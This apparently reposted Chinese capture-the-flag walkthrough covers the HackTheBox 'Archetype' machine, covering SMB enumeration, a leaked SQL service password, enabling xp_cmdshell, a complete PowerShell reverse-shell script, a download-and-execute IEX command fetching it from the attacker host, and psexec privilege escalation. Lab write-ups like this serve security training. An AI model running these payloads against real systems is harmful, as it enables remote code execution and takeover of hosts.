HackTheBox-Archetype

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HackTheBox-Archetype相关的知识,希望对你有一定的参考价值。

连接配置

参考之前写的连接配置,文章链接

信息收集

根据网站提示,目标是10.10.10.27,使用nmap进行扫描

nmap -sS -A 10.10.10.27

发现目标开启了135、139、445、1433端口,其中1433是SQL Server数据库默认使用的端口,445是文件共享协议(SMB)默认使用的端口

测试445端口

测试445端口的SMB服务是否支持匿名访问,没有经过权限配置可能默认允许所有人无需身份认证来匿名访问共享资源,使用smbclient来访问samba服务器的共享资源

smbclient -N -L //10.10.10.27/

-N:匿名登录
-L:获取共享资源列表

在共享资源列表内发现存在一个backups目录,使用smbclient访问它观察一下

smbclient -N //10.10.10.27/backups

使用dir命令列出backups文件夹下的文件,发现存在一个prod.dtsConfig文件,它是与SSIS一起使用的配置文件,使用get命令下载到主机上,使用cat命令查看一下文件内容


发现其中包含本地Windows用户的凭据的PasswordUser ID参数,User ID参数的值为ARCHETYPE\\sql_svc,ARCHETYPE是靶机的主机名,sql_svc是具有数据库登录权限的操作系统用户名

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

smbclient命令的使用方法 (补充)

1,列出某个IP地址所提供的共享文件夹
smbclient -L 198.168.0.1 -U username%password

2,像FTP客户端一样使用smbclient
smbclient //192.168.0.1/tmp -U username%password
执行 smbclient命令成功后,进入 smbclient环境,出现提示符: smb:/> 这时输入?会看到支持的命令
这里有许多命令和ftp命令相似,如cd 、lcd、get、megt、put、mput等。通过这些命令,我们可以访问远程主机的共享资源。

3,直接一次性使用smbclient命令
smbclient -c "ls" //192.168.0.1/tmp -U username%password
和
smbclient //192.168.0.1/tmp -U username%password
smb:/>ls
功能一样的

例,创建一个共享文件夹
smbclient -c "mkdir share1" //192.168.0.1/tmp -U username%password
如果用户共享//192.168.0.1/tmp的方式是只读的,会提示
NT_STATUS_ACCESS_DENIED making remote directory /share1

4,除了使用smbclient,还可以通过mount和smbcount挂载远程共享文件夹
挂载 mount -t cifs -o username=administrator,password=123456 //192.168.0.1/tmp /mnt/tmp
取消挂载 umount /mnt/tmp

连接数据库

在python2环境下利用impacket连接数据库

判断当前是否拥有sysadmin权限

SELECT IS_SRVROLEMEMBER('sysadmin')

返回值为1,说明当前用户具有sysadmin权限,能够在靶机上使用SQL Server的xp_cmdshell来进行远程代码执行

使用数据库调用系统命令

利用数据库调用执行系统命令

EXEC sp_configure 'Show Advanced Options', 1;			\\\\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
reconfigure;											\\\\确认上面的操作
sp_configure;											\\\\查看当前sp_configure配置情况
EXEC sp_configure 'xp_cmdshell', 1;						\\\\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure;											\\\\确认上面的操作
xp_cmdshell "whoami" 									\\\\在靶机上调用cmdshell执行whoami

SQL返回当前数据库进程的操作系统用户为archetype\\sql_svc

获取操作系统普通用户权限

  • 目前,我们拥有了数据库的shell,也可以使用部分操作系统的命令,但是需要一个直接的操作系统shell来进行后续的操作
  • 建立一个powershell的反向shell文件shell.ps1 (注意修改其中的ip地址为接收shell的kali主机的地址)
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.53",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

用python起一个http服务器,监听80端口来供靶机下载shell.ps1文件

python3 -m http.server 80

在kali中启动netcat监听443端口,等待靶机反向shell连接 (注意端口号需要与shell.ps1中相对应)

nc -nvvlp 443

回到数据库shell中,执行命令

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\\"http://10.10.16.53/shell.ps1\\");"

目的是为了让靶机到kali内下载shell.ps1文件并执行,查看刚才python搭建的http服务器,发现已经接收到请求

查看监听,发现已经弹回shell,执行一个ipconfig发现可以正常使用

C:\\Users\\sql_svc\\Desktop\\user.txt中找到User Own的Flag

提权

发现sql_svc是操作系统普通用户、数据库以及数据库服务用户,检查一下频繁访问的文件或已执行的命令,使用如下命令来访问PowerShell历史记录文件

type C:\\Users\\sql_svc\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt

发现administrator用户登录后将共享文件夹\\Archetype\\backups映射到T盘,使用Impacket中的psexec.py来提权

psexec.py administrator@10.10.10.27

执行 type C:\\Users\\Administrator\\Desktop\\root.txt 命令成功拿到System Own的Flag

以上是关于HackTheBox-Archetype的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数